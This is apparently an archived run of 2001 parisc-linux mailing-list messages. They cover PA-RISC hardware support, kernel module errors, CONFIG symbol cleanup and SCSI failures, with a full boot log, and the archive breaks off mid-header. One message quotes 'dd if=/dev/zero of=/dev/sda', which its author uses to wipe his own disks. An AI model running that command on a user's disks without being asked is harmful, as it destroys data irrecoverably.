X-Accept-Language: en-US,en-GB,en,fr,es,it,de,ru
Xref: news.gmane.org gmane.linux.ports.parisc:10874

[Cc: trimmed]

Russell King wrote:
> 
[...]
> 
> Generally it seems like diff needs to produce one more line of context, and
> most of these problems will go away.  Yes, there will still be the odd
> problem, so then it becomes the "how much do you crank the setting" problem.
>
 
$ diff -6 ...
will give 6 lines of context. patch will understand the output without any
extra help.

Cheers,
Tom

-- 
The Daemons lurk and are dumb. -- Emerson




From - Thu Nov 08 21:17:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sandy Harris <sandy@storm.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Appollo 730
Date: Fri, 20 Apr 2001 23:42:47 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <3AE101B7.5EFB4E2F@storm.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620063 18496 80.91.229.3 (22 Nov 2014 01:34:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:23 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 21:42:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.storm.ca (storm.ca [209.87.239.69])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31834482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 21:42:59 -0600 (MDT)
Original-Received: from storm.ca (ppp-209-87-255-73.ottawa.storm.ca [209.87.255.73])
	by mail.storm.ca (8.9.3+Sun/8.9.3) with ESMTP id XAA06971
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 23:42:57 -0400 (EDT)
X-Mailer: Mozilla 4.76 [en] (Win98; U)
X-Accept-Language: en,fr
Xref: news.gmane.org gmane.linux.ports.parisc:10875

A couple of us are collecting cheap old HP machines for use as a crude parallel
processor, for problems like factoring. We currently have about 20, mostly 712/60
with a few 715s.

I've found a pile of machines with an Appollo nameplate, rather than HP, and a
730 model number. They look a fair bit like a 735, deeper case than 712 or 715,
boards that slide in from the back. The vendor assures me they use a first
generation PA-RISC CPU.

Are these the HP 730 the hardware database mentions? If not, will they run Linux?




From - Thu Nov 08 21:17:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] modules/modutils??
Date: Sat, 21 Apr 2001 00:24:52 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.33.0104210022200.24463-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620064 18498 80.91.229.3 (22 Nov 2014 01:34:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:24 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 22:24:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.calyx.net (mail.calyx.net [216.82.160.19])
	by dsl2.external.hp.com (Postfix) with SMTP id 47D65482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Apr 2001 22:24:55 -0600 (MDT)
Original-Received: (qmail 22630 invoked from network); 21 Apr 2001 00:24:52 -0400
Original-Received: from mojo.calyx.net (HELO mojo) (s8m7korr2f65qsg3nuq3@208.132.136.2)
  by mail.calyx.net with SMTP; 21 Apr 2001 00:24:52 -0400
Xref: news.gmane.org gmane.linux.ports.parisc:10876

Hmm.  What would I be doing wrong to produce this error:

Cannot initialise dp, 'data_start' not found

...when trying to load a kernel module (or are things just broke,
and if so is it something a non-guru might be able to help fix.
Loadable modules would speed development of the HIL driver immensely.)

--
Brian S. Julin





From - Thu Nov 08 21:17:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] modules/modutils??
Date: Sat, 21 Apr 2001 05:37:09 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20010421053709.H18464@parcelfarce.linux.theplanet.co.uk>
References: <Pine.BSO.4.33.0104210022200.24463-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620064 18501 80.91.229.3 (22 Nov 2014 01:34:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 22:37:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D98B2482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Apr 2001 22:37:13 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14qp8v-0006CE-00; Sat, 21 Apr 2001 05:37:09 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.BSO.4.33.0104210022200.24463-100000@mojo.calyx.net>; from bri@mojo.calyx.net on Sat, Apr 21, 2001 at 12:24:52AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10877

On Sat, Apr 21, 2001 at 12:24:52AM -0400, Brian S. Julin wrote:
> 
> Hmm.  What would I be doing wrong to produce this error:

http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2001-April/028890.html

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Sat, 21 Apr 2001 00:48:19 -0600
Lines: 61
Approved: news@gmane.org
Message-ID: <200104210648.AAA01233@puffin.external.hp.com>
References: <20010420154743.A19618@thyrsus.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620064 18502 80.91.229.3 (22 Nov 2014 01:34:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:24 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: "Eric S. Raymond" <esr@thyrsus.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 21 00:54:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08116482A
	for <parisc-linux@parisc-linux.org>; Sat, 21 Apr 2001 00:54:46 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA01233;
	Sat, 21 Apr 2001 00:48:19 -0600
In-Reply-To: Your message of "Fri, 20 Apr 2001 15:47:43 EDT."
             <20010420154743.A19618@thyrsus.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10878

"Eric S. Raymond" wrote:
> Here's what I have for you guys:

...
> CONFIG_DMB_TRAP: arch/parisc/kernel/sba_iommu.c
> CONFIG_FUNC_SIZE: arch/parisc/kernel/sba_iommu.c
> 
> Would you please take these out of the CONFIG_ namespace?  Changing the 
> prefix to CONFIGURE would do nicely.

As willy noted, both mine. I'll remove or rename them rename them so
they aren't in the CONFIG_ name space. Probably s/CONFIG_/SBA_/ for
those two.

I'm going to submit a "wishlist" bug to our debian BTS
(bugs.parisc-linux.org) for "Data Memory Break Trap" support.
It's a damn good Hammer! :^)
(GDB will probably want to use this too)

I once had a working "Data Memory Break Trap" handler to catch other
parts of the kernel when they corrupted the IO Pdirs. Hooks in sba_ccio.c
helped mark which pages would trap and define which code was allowed to
touch the page. My implementation had issues and I never bothered to
re-implement as suggested by our parisc CPU god, John Marvin.

CONFIG_FUNC_SIZE is just a bad choice of name (asking for trouble).
One might consider this a bug that hasn't happened yet - thanks Eric!

#define CONFIG_FUNC_SIZE 4096   /* SBA configuration function reg set */


> CONFIG_KWDB: arch/parisc/Makefile arch/parisc/config.in arch/parisc/defconfig
>    arch/parisc/kernel/entry.S arch/parisc/kernel/traps.c arch/parisc/mm/init.
>   c

This ones actually mine too. It could be replaced with the SGI debugger
CONFIG option if/when that ever gets supported. The hooks will have to
be in the same place. I'm pretty sure now the HP KWBD team will never give me
permission to publish KWDB sources (they've had almost a year now).
I sorta almost had the damn thing working too...*sigh*.
Willy should do whatever he thinks is right in this case.

> CONFIG_PCI_LBA: arch/parisc/config.in arch/parisc/defconfig arch/parisc/kerne
>   l/Makefile
...
> Looks like these need Configure.help entries.

That's mine too.
We've been lazy about documentation since the getting the code working
has been a higher priority.  I think having them documented will be a
prerequisite to merging upstream (either to Alan Cox or Linus).

thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rmk@arm.linux.org.uk
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone
Date: Sat, 21 Apr 2001 09:53:47 +0100 (BST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200104210853.JAA00811@raistlin.arm.linux.org.uk>
References: <3AE0F999.BA288768@mountain.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620065 18505 80.91.229.3 (22 Nov 2014 01:34:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:25 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org (lkml),
	parisc-linux@parisc-linux.org
To: tleete@mountain.net (Tom Leete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 21 02:54:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DBB0B482A
	for <parisc-linux@parisc-linux.org>; Sat, 21 Apr 2001 02:54:04 -0600 (MDT)
Original-Received: from dyn-33.linux.theplanet.co.uk ([195.92.244.33] helo=caramon.arm.linux.org.uk)
	by www.linux.org.uk with esmtp (Exim 3.13 #1)
	id 14qt9N-0001Md-00; Sat, 21 Apr 2001 09:53:53 +0100
Original-Received: from raistlin.arm.linux.org.uk (IDENT:root@raistlin.arm.linux.org.uk [192.168.0.3])
	by caramon.arm.linux.org.uk (8.11.0/8.11.0) with ESMTP id f3L8rmb02520;
	Sat, 21 Apr 2001 09:53:53 +0100
Original-Received: (from rmk@localhost)
	by raistlin.arm.linux.org.uk (8.7.4/8.7.3) id JAA00811;
	Sat, 21 Apr 2001 09:53:48 +0100
In-Reply-To: <3AE0F999.BA288768@mountain.net> from "Tom Leete" at Apr 20, 2001 11:08:09 PM
X-Location: london.england.earth.mulky-way.universe
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:10879

Tom Leete writes:
> $ diff -6 ...
> will give 6 lines of context. patch will understand the output without any
> extra help.

Indeed, but I can't do that to a patch that Alan or Linus produces.

--
Russell King (rmk@arm.linux.org.uk)                The developer of ARM Linux
             http://www.arm.linux.org.uk/personal/aboutme.html





From - Thu Nov 08 21:17:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jason Saggers" <psyclone@owbn.net.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hello and Question about the E45
Date: Sat, 21 Apr 2001 22:45:23 +1200
Lines: 17
Approved: news@gmane.org
Message-ID: <000001c0ca50$2b6c82e0$0414a8c0@darknight.gen.nz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620065 18507 80.91.229.3 (22 Nov 2014 01:34:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 21 04:42:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from harper.owbn.net.nz (210-54-225-130.adsl.xtra.co.nz [210.54.225.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3838A482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 21 Apr 2001 04:42:42 -0600 (MDT)
Original-Received: from kindred ([192.168.20.4])
	by harper.owbn.net.nz (8.11.0/8.11.0) with ESMTP id f3LAiNB03480
	for <parisc-linux@lists.parisc-linux.org>; Sat, 21 Apr 2001 22:44:27 +1200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Xref: news.gmane.org gmane.linux.ports.parisc:10880

Hi,

	I realiase that the E45's arent completely support by this project, but =
has anyone succeded in getting on to boot etc...

	I am getting it to boot part why... and the just stops..... No errors =
nothing

	Any information would be appreciated.  I am currently using the 0.5 iso =
images.  Am about to try the later kernels etc in the next couple of =
days.

Jason





From - Thu Nov 08 21:17:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Gilbert <gilbertd@treblig.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Appollo 730
Date: Sat, 21 Apr 2001 12:16:46 +0100 (BST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10104211207561.702-100000@tardis.home.dave>
References: <3AE101B7.5EFB4E2F@storm.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620065 18508 80.91.229.3 (22 Nov 2014 01:34:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:25 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Sandy Harris <sandy@storm.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 21 05:21:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhenium (rhenium.btinternet.com [194.73.73.93])
	by dsl2.external.hp.com (Postfix) with ESMTP id 050AF482A
	for <parisc-linux@parisc-linux.org>; Sat, 21 Apr 2001 05:21:03 -0600 (MDT)
Original-Received: from [213.122.161.143] (helo=tardis)
	by rhenium with esmtp (Exim 3.03 #83)
	id 14qvRh-0001qK-00; Sat, 21 Apr 2001 12:20:58 +0100
X-Sender: gilbertd@tardis.home.dave
In-Reply-To: <3AE101B7.5EFB4E2F@storm.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:10881

On Fri, 20 Apr 2001, Sandy Harris wrote:

> I've found a pile of machines with an Appollo nameplate, rather than
> HP, and a 730 model number. They look a fair bit like a 735, deeper
> case than 712 or 715, boards that slide in from the back. The vendor
> assures me they use a first generation PA-RISC CPU.

As of yesterday I got my first HP - it is marked as Hewlett Packard Apollo
735.

I'm told it is actually a 730 that was upgraded to the 735 - but
/proc/cpuinfo still shows it as a 730 - hmm:

> processor     : 0
> cpu family    : PA-RISC 1.1a
> cpu           : PA7000 (PCX-S)
> cpu MHz               : 99.000000
> model         : 9000/730
> model name    : King Cobra (730)

The SCSI is being a bit of a pain - but the machine appears to be missing
a SCSI terminator, something that I'll hopefully solve today.

One thing to remember is that this thing uses 'rboot' rather than the
normal bootp - you'll need to find yourself a copy of rbootd; I found a
copy nestling on the Debian unstable site; it built with a bit of fight on
the Linux/Alpha box I'm booting it off.

Dave

-- 
 ---------------- Have a happy GNU millennium! ----------------------   
/ Dr. David Alan Gilbert    | Running GNU/Linux on Alpha,68K| Happy  \ 
\ gro.gilbert @ treblig.org | MIPS,x86,ARM, SPARC and HP-PA | In Hex /
 \ _________________________|_____ http://www.treblig.org   |_______/






From - Thu Nov 08 21:17:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Gilbert <gilbertd@treblig.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SCSI problems on 73[05]
Date: Sat, 21 Apr 2001 12:54:38 +0100 (BST)
Lines: 146
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10104211247000.702-100000@tardis.home.dave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620066 18511 80.91.229.3 (22 Nov 2014 01:34:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 21 05:58:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhenium (rhenium.btinternet.com [194.73.73.93])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05C50482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 21 Apr 2001 05:58:53 -0600 (MDT)
Original-Received: from [213.122.161.143] (helo=tardis)
	by rhenium with esmtp (Exim 3.03 #83)
	id 14qw2L-0004iw-00
	for parisc-linux@lists.parisc-linux.org; Sat, 21 Apr 2001 12:58:50 +0100
X-Sender: gilbertd@tardis.home.dave
Xref: news.gmane.org gmane.linux.ports.parisc:10882

Hi,
  As I mentioned in a previous mail, my first machine successfully is now
net booting Linux/HP-PA.

  I am however having some problems with SCSI on it; I'm trying to do

dd if=/dev/zero of=/dev/sda

to clear the discs but am getting:

scsi0: Unable to abort command for target 5
scsi0: Unable to send Bus Device Reset for target 5
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00075038 (script[0x140e]), dsps = 00075cde, target = 0
scsi0: Failing command for ID5
SCSI disk error : host 0 channel 0 id 5 lun 0 return code = 2
 I/O error: dev 08:00, sector 128
 I/O error: dev 08:00, sector 130

Here is the dmesg from boot; I guess the warnings about IRQ probes are
probably a bit dodgy!
(Oh, there is a 10/100 ether card in the EISA slot - how do I figure out
what it is?)

Linux version 2.4.0 (grundler@gsyprf10) (gcc version 3.0 20010315 (prerelease)) #3 Tue Apr 17 23:07:07 PDT 2001
FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Determining PDC firmware type: Older Legacy Box
setup_cmdline(0x64d5c,0x64d5c,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs                                       '
PALO initrd 0-0
model	00002020 00000481 00000000 00000000 39d738f4 000011f4 00000004 0000000a 0000000a
vers	0000000b
CPUID	vers 0 rev 0
model	9000/730
Total Memory: 96 Mb
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 24576
zone(0): 24576 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Searching for devices...
Found devices:
1. Outfield Core BA (11) at 0xf082f000, versions 0x9, 0x0, 0x70, 0x0, 0x0
2. Outfield Core SCSI (10) at 0xf0825000, versions 0x9, 0x0, 0x71, 0x0, 0x0
3. Outfield Core LAN (802.3) (10) at 0xf0826000, versions 0x9, 0x0, 0x72, 0x0, 0x0
4. Outfield Core HIL (10) at 0xf0821000, versions 0x9, 0x0, 0x73, 0x0, 0x0
5. Outfield Core RS-232 (10) at 0xf0823000, versions 0x9, 0x0, 0x75, 0x0, 0x0
6. Outfield Core RS-232 (10) at 0xf0822000, versions 0x9, 0x0, 0x75, 0x0, 0x0
7. Outfield Core Centronics (10) at 0xf0824000, versions 0x9, 0x0, 0x74, 0x0, 0x0
8. Outfield FW SCSI (10) at 0xf0830000, versions 0x9, 0x0, 0x7c, 0x0, 0x0
9. Outfield Audio (10) at 0xf1000000, versions 0x9, 0x0, 0x7f, 0x0, 0x0
10. Cobra EISA BA (11) at 0xfc000000, versions 0x4, 0x0, 0x76, 0x0, 0x0
11. King Cobra (730) (0) at 0xfffbe000, versions 0x202, 0x0, 0x4, 0x0, 0x81
12. Hardball (1) at 0xfffbf000, versions 0x19, 0x0, 0x9, 0x0, 0x0
That's a total of 12 devices.
CPU(s): 1 x PA7000 (PCX-S) at 99.000000 MHz
Kernel command line: HOME=/ TERM=linux root=/dev/nfs                                       
Calibrating delay loop... 98.71 BogoMIPS
Memory: 94452k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
ASP version 20 at 0xf0800000 found.
LED (ASP-style) display at f0800020 registered
Found HIL at 0xf0821000, IRQ 94
HIL: no keyboard present.
Warning : device (10, 0x9, 0x0, 0x73, 0x0) NOT claimed by HIL 712, 715 or similiar
Found i82596 at 0xf0826000, IRQ 87
early initialization of device eth0 is deferred
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
82596.c: MAC of HP700 LAN blindely read from the prom!
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 25 FB 6F IRQ 87.
82596.c $Revision: 1.17 $
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
lp0: using parport0 (interrupt-driven).
SCSI subsystem driver Revision: 1.00
sim700: Couldn't get consistent shared memory
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
Post test1, istat 05, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: WARNING: target data areas are not dma coherent!
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: QUANTUM   Model: PD425S            Rev: 535A
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: QUANTUM   Model: PD425S            Rev: 535A
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 5, lun 0
Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
SCSI device sda: 833150 512-byte hdwr sectors (427 MB)
Partition check:
 sda: unknown partition table
SCSI device sdb: 833150 512-byte hdwr sectors (427 MB)
 sdb: unknown partition table
linear personality registered
raid0 personality registered
raid1 personality registered
raid5 personality registered
raid5: measuring checksumming speed
   8regs     :    67.056 MB/sec
   8regs_prefetch:    67.056 MB/sec
   32regs    :    75.057 MB/sec
   32regs_prefetch:    75.057 MB/sec
raid5: using function: 32regs_prefetch (75.057 MB/sec)
md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md.c: sizeof(mdp_super_t) = 4096
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
eth0: link ok.
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 192.66.66.4, my address is 192.66.66.15
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Looking up port of RPC 100003/2 on 192.66.66.4
Looking up port of RPC 100005/2 on 192.66.66.4
VFS: Mounted root (nfs filesystem) readonly.
Warning: unable to open an initial console.

-- 
 ---------------- Have a happy GNU millennium! ----------------------   
/ Dr. David Alan Gilbert    | Running GNU/Linux on Alpha,68K| Happy  \ 
\ gro.gilbert @ treblig.org | MIPS,x86,ARM, SPARC and HP-PA | In Hex /
 \ _________________________|_____ http://www.treblig.org   |_______/





From - Thu Nov 08 21:17:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Sat, 21 Apr 2001 13:32:13 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <1164.987856333@redhat.com>
References: <20010420203700.E21392@thyrsus.com>  <20010420173514.A21392@thyrsus.com> <E14qjmd-0002QD-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620066 18514 80.91.229.3 (22 Nov 2014 01:34:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:26 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Nicolas Pitre <nico@cam.org>, Tom Rini <trini@kernel.crashing.org>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: esr@thyrsus.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 21 06:37:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from passion.cambridge.redhat.com (dell-paw-3.cambridge.redhat.com [195.224.55.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A883482A
	for <parisc-linux@parisc-linux.org>; Sat, 21 Apr 2001 06:37:10 -0600 (MDT)
Original-Received: from dwmw2 (helo=redhat.com)
	by passion.cambridge.redhat.com with local-esmtp (Exim 3.16 #2)
	id 14qwYf-0000In-00; Sat, 21 Apr 2001 13:32:13 +0100
X-Mailer: exmh version 2.3 01/15/2001 with nmh-1.0.4
X-Accept-Language: en_GB
In-Reply-To: <20010420203700.E21392@thyrsus.com> 
Original-Sender: David Woodhouse <dwmw2@redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10883

esr@thyrsus.com said:
> If it can't be mechanically verified that the symbol has a correct
> reference  pattern within the tree, then it's broken.  That's a
> definition. 

Here's an alternative definition:

If the symbol has the letters 'F', 'I', 'S' and 'H' in it, in any order, 
then it's broken.

That's also a definition. It's not a particularly useful one, but neither 
was yours.

/me looks for a way to equate the original definition with the halting 
problem :)

--
dwmw2






From - Thu Nov 08 21:17:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Sat, 21 Apr 2001 10:52:00 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 17
Approved: news@gmane.org
Message-ID: <20010421105200.C26142@thyrsus.com>
References: <20010420154743.A19618@thyrsus.com> <200104210648.AAA01233@puffin.external.hp.com>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620066 18519 80.91.229.3 (22 Nov 2014 01:34:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
